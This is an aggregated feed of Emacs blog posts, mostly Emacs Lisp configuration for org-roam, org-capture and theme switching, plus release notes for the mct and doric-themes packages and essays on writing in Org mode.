       "* TODO [%^{priority|#A|#B|#C|#D}] %^{TITLE} \n:SCHEDULED: %^T\n%?"
       :empty-lines 1
       :time-prompt t)
      ("tsc" "Career" entry
       (function (lambda () (select-career-project "Calendar")))
       "* TODO [%^{priority|#A|#B|#C|#D}] %^{TITLE} \n:SCHEDULED: %^T\n%?"
       :empty-lines 1
       :time-prompt t)

      ("n" "Note")
      ("nn" "Raw" entry
       (file "~/.org/inbox.org")
       "* %^{TITLE} :note: \n:Created: %T\n%?"
       :empty-lines 1)
      ("nm" "Meeting")
      ("nmm" "Raw" entry
       (file "~/.org/inbox.org")
       "* %^{TITLE} :meeting: \n:Created: %T\n%?"
       :clock-in t
       :clock-resume t)
      ("nmc" "Career" entry
       (function (lambda () (select-career-project "Calendar")))
       "* %^{TITLE} \n:Created: %T\n%?"
       :empty-lines 1
       :clock-in t
       :clock-resume t)))

Wow that's a lot of words! It's a bit messy (it could definitely be better by putting all the magic strings into variables) but it gets the job done. One final thing, I want to expose all of these commands under a transient menu, and make some bindings for org-capture and org-agenda.

(defun open-inbox ()
  "Opens `~/.org/inbox.org'"
  (interactive)
  (find-file "~/.org/inbox.org"))

(defun open-maintenance ()
  "Opens `~/.org/tasks/maintenance/'"
  (interactive)
  (find-file "~/.org/tasks/maintenance/"))

(defun open-projects ()
  "Opens `~/.org/tasks/projects/'"
  (interactive)
  (find-file "~/.org/tasks/projects/"))

(defun open-career ()
  "Opens `~/.org/tasks/projects/career/'"
  (interactive)
  (find-file "~/.org/tasks/projects/career/"))

(transient-define-prefix task-management-menu ()
  "Transient menu for task management shortcuts."
  ["Go To" ("i" "Inbox" open-inbox)
   ("m" "Maintenance Directory" open-maintenance)
   ("p" "Projects Directory" open-projects)
   ("c" "Career Directory" open-career)]
  ["Create New" ("M" "Maintenance File" new-maintenance-file)
   ("P" "Project" new-generic-project)
   ("C" "Career Project" new-career-project)])

(define-key global-map (kbd "C-c o t") #'task-management-menu)  
(define-key global-map (kbd "C-c a") #'org-agenda)
(define-key global-map (kbd "C-c a") #'org-capture)

And in terms of task management, that's pretty much it. I'm going to ignore Outlook and Jira integration for now because it's a pain (especially if I want it to be portable), and Orgzly Revived will give me an interface to this on mobile (though without the capture templates obviously).

Exobrain 2: Note Taking

As I said earlier, my goal is to use org-roam for capturing notes and snippets, instead of using it as a wiki (which should be reserved for refinement), chained together by index cards. Both this "web" of raw notes and the journals from the next section should work with Logseq, so we need to do some configuration on that end. I'm following closely this blog, as well as this one. You may remember the previously mentioned structure of ~/.org - all the raw notes I'm capturing with org-roam will be in lore/raw.

(use-package org-roam
  :straight nil
  :ensure t
  :init
  (setq org-roam-v2-ack t)
  :custom
  (org-roam-directory (file-truename "~/.org/lore/raw/"))
  (org-dailies-directory (file-truename "~/.org/refined/journal/"))
  (org-roam-file-exclude-regexp "\\.git/.*\\|logseq/.*$")
  (org-roam-completion-everywhere)
  (org-roam-capture-templates
    '(("d" "default" plain
       "%?"
       :target (file+head "${slug}.org" "#+title: ${title}\n")
       :unnarrowed t)))
  (org-roam-dailies-capture-templates
    '(("d" "default" entry
       "* %?"
       :target (file+head "%<%Y-%m-%d>.org" ;; format matches Logseq
                          "#+title: %<%Y-%m-%d>\n"))))
  :bind (("C-c n f" . org-roam-node-find)
       ("C-c n i" . org-roam-node-insert)
       :map org-roam-dailies-map
       ("Y" . org-roam-dailies-capture-yesterday)
       ("T" . org-roam-dailies-capture-tomorrow))
  :bind-keymap ("C-c n d" . org-roam-dailies-map)
  :config
  (require 'org-roam-dailies) ;; Ensure the keymap is available
  (org-roam-db-autosync-mode))

This configuration sets up all the binds for dailies and nodes. It also sets the filenames for org-roam notes and dailies to be the same as what Logseq is using. I should not that Logseq cannot have multiple pages directories, so it will never be usable for mini-essays, but I don't really care since long writing on a phone is terrible anyway.

I'm going to add a (setq org-attach-id-dir "~/.org/lore/assets") so that Logseq can store and see attachments. Logseq also has some interoperability kinks regarding links, but thankfully this package should sort everything out:

(use-package logseq-org-roam
  :straight (:host github
          :repo "sbougerel/logseq-org-roam"
          :files ("*.el")))

As some notes might go to the inbox, I want a function to refile them to org-roam. There's a good forum thread that has a great example for this functionality.

(defun org-roam-create-note-from-headline ()
  "Create an Org-roam note from the current headline and jump to it.

Normally, insert the headline’s title using the ’#title:’ file-level property
and delete the Org-mode headline. However, if the current headline has a
Org-mode properties drawer already, keep the headline and don’t insert
ā€˜#+title:'. Org-roam can extract the title from both kinds of notes, but using
ā€˜#+title:’ is a bit cleaner for a short note, which Org-roam encourages."
  (interactive)
  (let ((title (nth 4 (org-heading-components)))
        (has-properties (org-get-property-block)))
    (org-cut-subtree)
    (org-roam-find-file title nil nil 'no-confirm)
    (org-paste-subtree)
    (unless has-properties
      (kill-line)
      (while (outline-next-heading)
        (org-promote)))
    (goto-char (point-min))
    (when has-properties
      (kill-line)
      (kill-line))))

For now, I'm going to leave this as it is. I really need to live in this workflow to see how it feels and what changes need to be made. I will make a transient menu for all the org-roam functions however.

(transient-define-prefix org-roam-menu ()
  "Transient menu for task management shortcuts."
  ["Node" ("f" "Capture" org-roam-node-find)
   ("i" "Insert" org-roam-node-insert)
   ("r" "Refile" org-roam-create-node-from-headline)
   ("v" "Visit" org-roam-node-visit)   ]
  ["Dailies" ("t" "Today" org-roam-dailies-capture-today)
   ("y" "Yesterday" org-roam-dailies-capture-yesterday)
   ("n" "Tomorrow" org-roam-dailies-capture-tomorrow)]
  ["Logseq" ("R" "Fix links" logseq-org-roam)])

(define-key global-map (kbd "C-c o n") #'org-roam-menu)

Exobrain 3: Refinement

Refinement covers three things in particular:

  1. Journaling
  2. Mini-essay writing and information "aggregation"
  3. "Output", meaning anything that makes use of the information in a broader sense (such as proper essays, or even using my notes for work).

Journaling is already covered by org-roam-dailies and Logseq, so we'll skip it over. Mini essays, and proper essays, are where I can make some improvements. Firstly, I want to update my referencing workflow.

I use BibTeX to store all my sources when I'm working on a bigger writing project. Most of my references will sit in global.bib, unless I'm working on a self-contained project. There's two parts to making my citation workflow a bit nicer: first, I want to have some way of pulling source formatting automatically for resources like arXiv and doi.org, and second I want a transient menu for inserting references in BibTeX.

The first can be solved just by installing biblio, since it already allows pulling sources from doi and arXiv. Simple enough.

(use-package biblio)

And done. Now for the transient menu. I want quick access to doi and arXiv - as well as quick access to some existing entry templates (mainly I'll use this for online resources).

(defun bibtex-online-entry ()
  (interactive)
  (bibtex-entry "Online"))

(defun bibtex-misc-entry ()
  (interactive)
  (bibtex-entry "Misc"))

(defun bibtex-software-entry ()
  (interactive)
  (bibtex-entry "Software"))

(transient-define-prefix bibtex-transient-menu ()
  "Transient menu for task management shortcuts."
  ["Biblio" ("d" "doi.org" doi-insert-bibtex)
   ("x" "arXiv" arxiv-lookup)]
  ["Templates" ("o" "Online Resource" bibtex-online-entry)
   ("m" "Misc" bibtex-misc-entry)
   ("s" "Software" bibtex-software-entry)])

(define-key bibtex-mode-map (kbd "C-c r") #'bibtex-transient-menu)

Now I'm quite happy with my essay writing workflow already, but I wouldn't mind some extra helper functions for mini-essays. I actually want to make use of org-roam for this, so I'm going to slightly modify the configuration. First, the org-roam-directory will be changed to just ~/.org/lore, then I'll update the capture template to push to raw. I'll create another capture template specifically for mini-essays - the goal here is to keep them discoverable within org-roam.

(use-package org-roam
:straight nil
:ensure t
:init
(setq org-roam-v2-ack t)
:custom
(org-roam-directory (file-truename "~/.org/lore/"))
(org-dailies-directory (file-truename "~/.org/lore/refined/journal/"))
(org-roam-file-exclude-regexp "\\.git/.*\\|logseq/.*$")
(org-roam-completion-everywhere)
(org-roam-capture-templates
 '(("c" "Raw" plain
    "%?"
    :target (file+head "raw/${slug}.org" "#+title: ${title}\n")
    :unnarrowed t)
   ("r" "Refined")
   ("rm" "Mini-essay" plain
    "%?"
    :target (file+head "refined/wiki/${slug}.org" "#+title: ${title}\n#+author: Jakub Nowak")
    :unnarrowed t)))
(org-roam-dailies-capture-templates
 '(("d" "default" entry
    "* %?"
    :target (file+head "%<%Y-%m-%d>.org" ;; format matches Logseq
                       "#+title: %<%Y-%m-%d>\n"))))
:bind (("C-c n l" . org-roam-buffer-toggle)
       ("C-c n f" . org-roam-node-find)
       ("C-c n g" . org-roam-graph)
       ("C-c n i" . org-roam-node-insert)
       ("C-c n c" . org-roam-capture)
       :map org-roam-dailies-map
       ("Y" . org-roam-dailies-capture-yesterday)
       ("T" . org-roam-dailies-capture-tomorrow))
:bind-keymap ("C-c n d" . org-roam-dailies-map)
:config
(require 'org-roam-dailies) ;; Ensure the keymap is available
(org-roam-db-autosync-mode))

Now that is essentially done. I may add extra templates for additional refinement stuff - index cards come to mind - but for now this is good enough.

Stuff I Didn't Do

This was rather a lot of work, but I think I'm done with messing with this configuration for now. I did also set up Syncthing over the course of writing this post. There are some things that I left out as they're too annoying to implement for me currently, namely:

  1. Something similar to Expresso
  2. Dice and cards
  3. Jira and Outlook integration with Agenda
  4. A better system for worldbuilding

However I do feel like I addressed my main points of friction with org-roam - I feel comfortable getting more use out of it now that I have it available on mobile. In general it feels nicer to have everything be more organised.

So yeah, that's it. This was a bit of a messy journey that turned into a complete reorganisation of my life, but I hope you enjoyed it and got some useful things out of it as well. You can find the full configuration file here.

-1:-- Architecting a Better Org Workflow (Post Jakub Nowak)--L0--C0--2025-07-09T00:00:00.000Z

TAONAW - Emacs and Org Mode: Harper: quick, light and private grammer check for Emacs

I got some time to spend with Harper, a ā€œfree English grammar checker designed to be just right,ā€ which can be integrated into Emacs.

Before I proceed, I want to note that while the description on the website from the creator states, ā€œyou can think of it as an open-source alternative to Grammarly,ā€ I find this to be misleading. At least on Emacs on my Mac, Harper does not compare to what I get from my premium account on Grammarly1.

Still, if you’re looking for something free, open source, private, and fast, you should check out Harper.

To get Harper to work on a Mac, you want to install it from Homebrew, as the documentations show: brew install harper. Then for Emacs, Harper uses harper-ls, which is the Language Server Protocol server (LSP) for Harper. This is something that tripped me earlier: on Emacs, you do not interact with Harper directly, but with Emacs' built-in client for LSPs, Eglot, instead. Confused? I sure was. The part to remember is that we’re going to run M-x Eglot commands when we interact with Harper on Emacs.

A diagram would look something like this: Emacs > Eglot (LSP Client) > harper-ls (LSP Server) > Harper.

To configure Eglot to recognize and run with Harper’s LSP server, harper-ls, we can add the basic configuration to our Emacs init as described in Harper’s documentation, with a minor adjustment:

    (with-eval-after-load 'eglot
      (add-to-list 'eglot-server-programs
                   '(org-mode . ("harper-ls" "--stdio"))))

I’ve added the org-mode part instead of text-mode as described originally because I want Harper to work in org-mode. The credit for this goes to Jakub, who wrote about this in his blog and was also kind enough to email me directly and explain things even further when I was confused; so thanks Jakub! You’re alright in my book.

Jakub is from Australia, so he included a dialect option for Australian and a hook to launch eglot when org-mode is loaded, so that he wouldn’t need to launch it manually. Check his config in the link above with his explanations.

I changed my config’s dialect to American, as an option described in the documentation. After some time with Harper, I also decided to remove the org-mode hook because Harper will happily mark everything that looks like a mistake in org-mode buffers. This includes the agenda, checklists, code segments, etc.2. I also prefer to separate my editing from my writing, as I find these green zigzags distracting.

When I launch Harper in org-mode with Eglot, it looks like this:

Auto-generated description: A computer screen displays a text editor terminal with highlighted syntax, showing lines of written code and text.

As you can see in the picture, I ran Harper on the draft of this post. It delimits every line with an issue with an exclamation point, then highlights the error with a green zigzag. When you hover over the grammatical error with the point (or the mouse cursor), Harper displays the error in the mini-buffer. In the case above, it lets me know I have a sentence that is too long.

You can correct mistakes directly with Harper by utilizing the correct Eglot commands (remember that you have to ā€œtalkā€ to Eglot to work with Harper). For example, you can use its Code Actions with eglot-code-actions, which will display a menu of available fixes to replace your text with. I’m quickly learning I should probably get a shortcut for this because I’m going to use this plenty. There are other aspects of Harper I’m still learning about; it comes with additional tweaks and configurations, including user dictionaries.

All in all, Harper does a decent job of catching most grammatical errors and spelling mistakes. However, I still find that I need to pass the text through Grammarly to catch some errors. For example, in this very post, the line where I wrote ā€œIt delimits every line with an issueā€¦ā€ was ā€œIt delimiters every lineā€¦ā€ and Harper was okay with it. Harper also seems to miss my plural confusions, for example, ā€œas an option described in the documentations,ā€ is fine with Harper, but it should be ā€œas an option described in the documentation.ā€ Then there’s where, in my opinion, Grammarly shines next to other LLMs: style suggestions. I can ask Grammarly to make a part of the text shorter, more professional, more friendly, etc., and it will do so on the spot. Chat GPT and the like can do the same thing, but you have to do several copy-pastes to get to the same result, and even then, I find it’s not quite as polished. It’s also helpful to always have these versions in front of you so you can choose the style you want. Grammarly also highlights the errors it finds in different colors: definite issues will be in red, while suggestions for style will be in blue.

Many people don’t need this level of a ā€œgrammar nanny,ā€ and I totally understand what Harper’s developers mean when they say Grammarly is overbearing. Add to that the fact that Grammarly sends all your private Emacs notes to the Grammarly servers, where they can do whatever they want with them, complete with the premium cost and… yeah, I totally get it. Meanwhile, Harper does most of the works, and fast, especially when compared to languageTool, which also requires you to install Java and deal with its weird updates. Oh, and those of you who use Obsidian: Harper has an official plugin, which I suspect works even better than what I wrote about here.

Give it a try, and if you’d like, let me know what you think. Meanwhile, I will see if I can make it my go-to grammar tool on my Linux Desktop.

Footnotes

1 : I get Grammarly through work. If that weren’t the case, I’m not so sure I’d rush to pay for it myself, which comes close to $30 a month.

2 : The reason Harper doesn’t know to ignore the org-mode syntax option for code (words between ~ ~) or other special characters is because org-mode is not yet officially supported. When this happens, I guess these issues will go away and I will try to launch Harper with a hook for org-mode again.

-1:-- Harper: quick, light and private grammer check for Emacs (Post TAONAW - Emacs and Org Mode)--L0--C0--2025-07-08T23:37:00.000Z

Irreal: Writing With Emacs #1

Greg Newman has another episode of Emacs Carnival going this month. This time it’s about using Emacs for writing. That’s a subject I’m very interested in so I’ve been looking forward to this episode’s contributions. The first is from Erik L. Arneson who writes about how he uses Org mode for all his writing.

Arneson says he’s written about 500,000 words with Org mode. Before Org he wrote mostly in LaTeX or plain text. Now, he writes exclusively in Org. His story is a lot like mine, A quick check with grep and wc tells me that I’ve written about 2 millions words with Org. Before that I mostly wrote with Troff so I’ve been using one markup language or another for a long time.

The important thing, as Arneson says, is that I don’t have to use Word or any of its evil siblings for my writing. That matters to me because Org generally doesn’t have an opinion unlike most ā€œword processorsā€ that think they know better than I do what I want to write and feel free to change my text accordingly without asking.

As Arneson notes, writing in Org mode is tremendously flexible. He—and I—use it for blog posts, reports, spreadsheets for keeping track of household expenses, letters, emails, texts, and even books. When you add in Emacs Everywhere, virtually everything I write is in Emacs.

As I’ve said before, I can no longer write comfortably in anything else. All the other apps that deal with text seem like Bizarro World where nothing works as you expect it to. What Emacs user hasn’t experienced the frustration of trying to use Emacs bindings in other applications? See what I mean about Bizarro World?

-1:-- Writing With Emacs #1 (Post Irreal)--L0--C0--2025-07-08T15:35:41.000Z

Sacha Chua: 2025-07-07 Emacs news

Links from reddit.com/r/emacs, r/orgmode, r/spacemacs, r/planetemacs, Mastodon #emacs, Bluesky #emacs, Hacker News, lobste.rs, programming.dev, lemmy.world, lemmy.ml, planet.emacslife.com, YouTube, the Emacs NEWS file, Emacs Calendar, and emacs-devel. Thanks to AndrƩs Ramƭrez for emacs-devel links. Do you have an Emacs-related link or announcement? Please e-mail me at sacha@sachachua.com. Thank you!

View org source for this post

You can comment on Mastodon or e-mail me at sacha@sachachua.com.

-1:-- 2025-07-07 Emacs news (Post Sacha Chua)--L0--C0--2025-07-07T22:19:52.000Z

Marcin Borkowski: Mass resetting Org mode checkboxes

I’m a big fan of checklists. There are many cases where I need to follow some procedure containing many steps, and I really do not want to forget about any of them. This is especially challenging when it is something I need to do not very often, say, once a month, since it is very easy to forget about one or more steps, and properly memorizing the procedure would take many months. One example is preparing and sending invoices, which I need to do at the beginning of every month. Another (slightly less typical) example is packing for vacations – it’s very easy to forget to take something, and very important not to. In fact, I prepared a generic list of things to take with me on vacation more than fifteen years ago, and I use it several times a year, sometimes adding some new item, sometimes removing some no longer needed item. Me being me, I keep these checklists in Org mode, and they consist of one or more headings with a bunch of checkboxed lists.
-1:-- Mass resetting Org mode checkboxes (Post Marcin Borkowski)--L0--C0--2025-07-07T15:47:30.000Z

Protesilaos Stavrou: Emacs: mct version 1.1.0

Opinionated changes and enhancements to the default minibuffer completion UI of Emacs:

  • Live completions to update the results as you type.

  • Passlist and blocklist of commands or completion categories to control whether the *Completions* buffer shows up eagerly.

  • Other relevant options to control when the *Completions* are displayed.

  • Per command or completion category sorting methods.

  • A cleaner *Completions* buffer, optionally without a mode line.

  • Commands to cycle from the minibuffer to the *Completions* and vice versa.

In essence, MCT is (i) a layer of interactivity on top of the out-of-the-box completion experience, and (ii) glue code that combines built-in functionalities to make the default completion framework work like that of more featureful third-party options.

Below are the release notes.


Version 1.1.0 on 2025-07-07

This version contains several refinements to an already stable package.

Sort by command or completion category

The new user option mct-sort-by-command-or-category determines how completion candidates are sorted.

This is an alist where each element is of the form (SYMBOLS . SORT-FUNCTION).

SYMBOLS is either a symbol or a list of symbols. SYMBOLS can refer to the symbol of a function or completion category. It can also be t, which refers to the fallback value.

SORT-FUNCTION is a function that takes a list of strings and returns a list of strings, sorting them accordingly. Examples of a SORT-FUNCTION are:

  • mct-sort-by-alpha
  • mct-sort-by-alpha-then-by-length
  • mct-sort-by-history
  • mct-sort-by-directory-then-by-file

To not perform any sorting on the completion candidates that match SYMBOLS set SORT-FUNCTION to nil.

If there are conflicting configurations between a SYMBOLS function and completion category, then the function takes precedence (for example find-file is set to sort directories first whereas the file completion category is set to sort by history).

Optional indicator for completing-read-multiple

Users of Emacs prior to version 31 do not have a built-in way to inform them when they are dealing with a completing-read-multiple minibuffer prompt. Emacs 31 introduces the user option crm-prompt and its related functionality to tell the user what they need to know.

The mct-completing-read-multiple-indicator can be used in the meantime to achieve the same results. It is set to a non-nil value by default. Opt out by changing it to nil.

The *Completions* are persistent when needed

This concerns the case where a command or completion category is part of the mct-completion-passlist or when the user option mct-live-completion is set to non-nil or visible. In such cases, the completion candidates are on display and we want to keep them there while performing a dynamic completion, such as with the find-file command (ā€œdynamicā€ in the sense that it returns a new list of candidates to match the current path).

Persisting the *Completions* means that as we narrow the list, we still see all the matching results.

In the past, we provided the option mct-persist-dynamic-completion though we do not need it anymore.

I was inspired to make this change in response to a question posed by Ryan Davis regarding the behaviour of mct-persist-dynamic-completion. This was done in issue 7: https://github.com/protesilaos/mct/issues/7.

Miscellaneous

  • Vertical alignment of the *Completions* buffer is more precise. Thanks to Jessie Hu for the contribution in pull request 6: https://github.com/protesilaos/mct/pull/6.

  • The command mct-choose-completion-exit no longer tries to expand further. In the previous implementation it would try to match the last known selection from the history when using a file prompt. For example we have this workflow:

    • In the previous prompt we type /path/to/file/ and exit.
    • Now we type /pa, the completions pop up, we select /path and invoke mct-choose-completion-exit. This wrongly expands into /path/foo/ instead of taking just /path (given that it has no further input to determine an extension of that string).

    Now the command will do the right thing based on the user’s input.

-1:-- Emacs: mct version 1.1.0 (Post Protesilaos Stavrou)--L0--C0--2025-07-07T00:00:00.000Z

Erik L. Arneson: Writing Experience (Emacs Carnival)

This is my contribution to month two of Greg Newman’s Emacs Carnival. The topic this month is ā€œWriting Experience,ā€ which is perfect, since I write in Emacs all the time. In fact, I am writing this blog post in Emacs right now!

Emacs Writing History

I do not know how long I have been writing in Emacs, but I have documents written in LaTeX from the early 2000s that were definitely written in Emacs, and I know those weren’t the first. I guess what is interesting about my writing experience in Emacs is how it has developed over the years. Where I originally wrote everything in plain text or LaTeX, over time I moved to org-mode and Markdown.

Writing LaTeX in Emacs taught me to view documents and writing the same way I view source code. Since all of my writing was in text formats, I could easily use version control software to store archives full of text. I began by using Concurrent Versions System (CVS), but eventually moved to Git. I have a few Git repositories with writing, but my biggest dates back to 2009. Those early commits are all LaTeX and plain text files.

commit c64500897e2509bc3316d252cda10a9119384933
Author: Erik L. Arneson <pXXX@XXX.XXX>
Date:   Sat Dec 5 10:51:06 2009 -0800

    Initial import of an old repository.

The oldest org-mode file in my writing repository dates to December 27th, 2010, and is titled ā€œBeer and Pizza.ā€ The commit message indicates that I pulled some writing over from another repository in this commit, so obviously I had been writing with org-mode for quite a while. I know, for instance, that ā€œBeer and Pizzaā€ was an article that I wrote for an early incarnation of Southern Oregon Magazine, and my notes are dated back to February of that year.

Org-mode Is A Life-changer

You have probably read other people’s experience with writing in org-mode in Emacs, so instead of sharing an exhausting list of all the life-changing, writing-improving things that it has brought me, here are a few bits that I really love about it.

It is fantastic at organizing writing projects. From being able to shift around headings and blocks of text, to combining to-do lists with writing projects, to being able to create macros and include different files—all of these things make org-mode perfect for working on medium and large projects. I write everything from blog posts to podcast scripts to books in org-mode, and it helps me stay organized.

I do not have to write in Word or Google Docs. The export functions in org-mode do a great job creating Word files, ODT files, HTML files, and all kinds of formats. If org-mode’s export abilities aren’t good enough, it can also interface with pandoc to cover all the other cases! This means I get to use all of my familiar tools and processes when writing, and I don’t have to worry about awful word processing software!

Everything I need to write can happen in org-mode! I have several websites that are built entirely out of org-mode. When I need to create slides for a lecture, I do it in org-mode. When I write adventures for Dungeons & Dragons, I do it in org-mode. When I need to whip up a spreadsheet to handle my household budget, I do it in org-mode. When I need to write a formal letter, I do it in org-mode. Frankly, it is so expressive and flexible, that I don’t need to use other tools for writing. It’s all Emacs and org-mode.

Emacs Can Be Distraction-Free

I have a hotkey connected to writeroom-mode, which plonks me right into a full-screen, distraction-free writing mode. Easy as pie! This means that when I really need to get down to business and get a lot of writing done, I don’t need to switch to a new app, leave my familiar tools behind, or go through any extra trouble. It’s just right here, built in.

No Going Back

I’ve been writing with Emacs for decades. It is my comfortable writing spot. I honestly cannot see myself abandoning it for another writing tool, because it works for me. I just used a couple of commands to check my three biggest writing repositories, and I have approximately 630,000 words written in org-mode between them. That’s a commitment!

I am aware that there are a lot of people out there using Emacs for writing, so I am excited to see what others share. I’m very pleased with Greg Newman’s choice for this second writing topic.

Edit: I realized that what I was calling my second biggest writing repository was actually my third biggest. I updated some numbers to reflect another 130,000 words of writing I found.

-1:-- Writing Experience (Emacs Carnival) (Post Erik L. Arneson)--L0--C0--2025-07-07T00:00:00.000Z

Irreal: Speeding Up Magit On macOS

If you’re using Magit on macOS, here’s a tip that will either improve your life considerably or not affect you at all. The tip is from Greg Newman who says that it reduced his commit time from about 4 seconds to less than a second.

The secret? It turns out to be simply specifying a pointer to the git executable like this:

(use-package magit
  :bind ("C-x g" . magit-status)
  :custom
  (magit-git-executable "/opt/homebrew/bin/git"))

Of course, after the excitement dies down, you start thinking, ā€œWait! What? That can’t be right.ā€ Well, what can’t be right is that it’s taking 3 seconds to find the git executable by searching the PATH variable. What is happening then?

It turns out that Apple provides a copy of git that it puts in /usr/bin/ but if you’re using Homebrew and loaded git with it, the executable lives in another place. In Newman’s case, that place is /opt/homebrew/bin/. In my case, it’s in another place but the same thing happens: there are two versions of git in your file system and unless you’ve performed surgery on your PATH variable, Emacs will probably find the older version provided by Apple.

What’s really going on here, it seems, is that without some further action on your part, Emacs—or more precisely, Magit— may be finding the older, presumably slower, version of git. You might wonder why someone would load git from Homebrew. As I recall, the version of git provided by Apple wasn’t quite working correctly and, in any event, you might want the latest version with all its improvements and bug fixes.

Regardless, if Magit seems slow you should:

  1. Make sure you have the latest version of git loaded from Homebrew or elsewhere
  2. Ensure that Magit finds that git either by adjusting your PATH variable or setting an explicit path as Newman does.
-1:-- Speeding Up Magit On macOS (Post Irreal)--L0--C0--2025-07-06T15:55:56.000Z

Installed Emacs again on Pop OS (I wiped it after my GPU issues), and now I realize I’ve had this weird issue in org-mode, where images are displayed in landscape mode. Some of my images are rotated 90 degrees in the wrong direction. Anyone familiar with this, what causes it, and how to fix it?

-1:--  (Post TAONAW - Emacs and Org Mode)--L0--C0--2025-07-06T11:59:46.000Z

Mario Jason Braganza: Emacs Package Updation Checklist


I’ve never updated my Emacs packages until recently, because Emacs is where all my writing happens, and so I’m justifiably paranoid.
But then some packages stopped working, due to various circumstances1 and an update solved it.

So I’ve decided to update my packages once a quarter, so that I don’t lose days yak shaving when something goes wrong and I handle breakage on my terms and not the machine’s.

As far as package management goes, I want to keep things simple.
In fact, I still haven’t graduated to use-package or straight.el because my package needs are few and conservative2. And so, while there are automatic update options out there, I’ll just stick to updating them manually, every quarter.

Ergo, this is the checklist I’ll use next time onwards …

  1. Stop emacs user service, systemctl --user stop emacs
  2. Backup emacs folder in ~/.config
  3. Start emacs manually (not the service).
  4. M-x package-refresh-contents
  5. M-x package-upgrade-all
  6. Problems? Quit emacs. Revert backup folder.
  7. In the end, start emacs user sevice, systemctl --user start emacs

There’s an Org mode task, scheduled quarterly, so that I won’t forget.


Feedback on this post?
Mail me at feedback at this domain or continue the discourse here.

P.S. Subscribe to my mailing list!
Forward these posts and letters to your friends and get them to subscribe!
P.P.S. Feed my insatiable reading habit.



  1. While I don’t want updated packages, I do want updated Emacs and that broke stuff šŸ˜‚ ā†©ļøŽ

  2. The biggest change I forsee, is if Jetbrains ever turn evil and I have to move off their editors and subsequently need to use Emacs as an IDE ā†©ļøŽ

-1:-- Emacs Package Updation Checklist (Post Mario Jason Braganza)--L0--C0--2025-07-06T03:06:44.000Z

Paul Jorgensen: TIL emacs-mac will switch to dark mode with the system

… but won’t if one has a custom theme loaded, as far as I can tell.

I don’t particularly like dark mode. Its use seems more preference than science, so for those who like it, cheers! However, from time to time dark mode would be good. In the evening when I’m simply reading my RSS feeds in elfeed, for example.

I wanted something that would make the switch without adding much weight. Here’s the journey:

  1. Looked at what Prot uses/recommends Modus Themes | Protesilaos Stavrou
  2. Led me to GitHub – guidoschmidt/circadian.el: Theme-switching for Emacs based on daytime
  3. That wasn’t gonna work for me. I realized I wanted this to happen in early-init.el so a package-based option wasn’t right.
  4. Light DDG-ing later and I found Emacs and Dark Mode
  5. That code would work but only on emacs-plus. But the system signals other apps when to switch, so emacs-mac must have something too …
  6. Dug around in the docs for emacs-mac and found some breadcrumbs.
  7. Which led me to Custom Emacs functions No. 4 – UI | macOS & (open-source) Software
  8. Yes! Nearly there. Timu’s code is good but is customized to his use case. I want something more utilitarian.
  9. Stripped out the bits that work for emacs-mac and maybe emacs-plus and rebuilt it into this with a little help from the robot:

(defvar my/light-theme 'modus-operandi-tinted
  "Theme to use when system appearance is light.")

(defvar my/dark-theme 'modus-vivendi-tinted
  "Theme to use when system appearance is dark.")

(defun my/apply-theme-based-on-appearance (&optional appearance)
  "Switch between `my/light-theme` and `my/dark-theme` based on APPEARANCE.

Handles both Emacs Plus (ns, using `appearance`) and Emacs Mac Port (mac, via `mac-application-state`)."
  (let ((mode
         (cond
          ;; Emacs Plus: appearance is passed as symbol
          ((boundp 'ns-system-appearance-change-functions) appearance)

          ;; Emacs Mac Port: detect from system plist
          ((plist-get (mac-application-state) :appearance)))))

    (pcase mode
      ((or 'light "NSAppearanceNameAqua")
       (mapc #'disable-theme custom-enabled-themes)
       (load-theme my/light-theme t))

      ((or 'dark "NSAppearanceNameDarkAqua")
       (mapc #'disable-theme custom-enabled-themes)
       (load-theme my/dark-theme t)))))

(defun my/setup-theme-switching ()
  "Set up automatic theme switching on macOS appearance change."
  (if (boundp 'ns-system-appearance-change-functions)
      ;; Emacs Plus
      (add-to-list 'ns-system-appearance-change-functions #'my/apply-theme-based-on-appearance)
    ;; Emacs Mac Port
    (progn
      (add-hook 'mac-effective-appearance-change-hook #'my/apply-theme-based-on-appearance)
      (add-hook 'after-init-hook #'my/apply-theme-based-on-appearance))))

(my/setup-theme-switching)

This seems to check all the boxes:

  • appropriate for early-init.el
  • doesn’t call external scripts or tools
  • relies on the OS and emacs-mac and emacs-plus built-in capabilities
  • it works, for me at least

Some notes:

  • Because this runs in early-init.el, needs setting up with built-in themes that are available before the package system loads. Thankfully, Prot’s modus-themes are built-in now.
  • Any other GUI setup stuff like initial-frame-alist, default-frame-alist and set-face-attribute needs configuring before this (I think; maybe not?).

As always, YMMV. Please play around with this and let me know how it works for you. I’m working on my LISP coding skills, so buyer beware.

-1:-- TIL emacs-mac will switch to dark mode with the system (Post Paul Jorgensen)--L0--C0--2025-07-06T01:32:00.000Z

Irreal: Simply Annotate

James Dyer has announced a new package called Simply Annotate. It is, as the name suggests, a package to make annotations to a file with the feature that the original file is not modified. There are, of course, as Dyer says plenty of packages that do this sort of thing but he wanted a light weight package that specifically met his needs and preferences.

Dyer has a list of those preferences, which you can read at his post or you can take a look at the user manual. Regardless, it appears to have some nice features. Dyer has an animation that shows how the system works. The package is available on Melpa or directly from its GitHub page. There’s plenty of information on Dyer’s post, which appears to be essentially the same as the GitHub README.

I’ve tried very hard in the past to warm up to applications like this. After all, they make perfect sense: you can make personal notes concerning the file content without altering the file itself. I spent a certain amount of time making such notes but then never—ever—actually read them. I reluctantly concluded that such things were not for me. But they may be just right for you so you should definitely take a look.

-1:-- Simply Annotate (Post Irreal)--L0--C0--2025-07-05T15:49:51.000Z

Protesilaos Stavrou: Emacs: doric-themes version 0.2.0

These are my minimalist themes. They use few colours and will appear mostly monochromatic in many contexts. Styles involve the careful use of typography, such as italics and bold italics.

If you want maximalist themes in terms of colour, check my ef-themes package. For something in-between, which I would consider the best ā€œdefault themeā€ for a text editor, opt for my modus-themes.

Below are the release notes.


Version 0.2.0 on 2025-07-05

This version introduces several refinements to the individual themes comprising the Doric themes collection. Changes pertain to the intensity of colours in use. While each tweak is small, their cumulative effect contributes to a more consistent design.

Users who are interested in the contrast ratio values and relevant colour distance can refer to the contrasts.org file that is part of the project’s Git repository: https://github.com/protesilaos/doric-themes.

I extended support for several faces or face groups including:

  • ace-window
  • dictionary
  • embark-keybinding
  • man
  • markdown-metadata-key-face
  • package-mark-delete-line
  • package-mark-install-line
  • read-multiple-choice-face
  • rcirc
  • spacious-padding
  • textsec-suspicious
  • which-key-key-face
  • woman

Some other faces that were already covered are revised in the interest of theme-wide consistency. Again, changes are subtle.

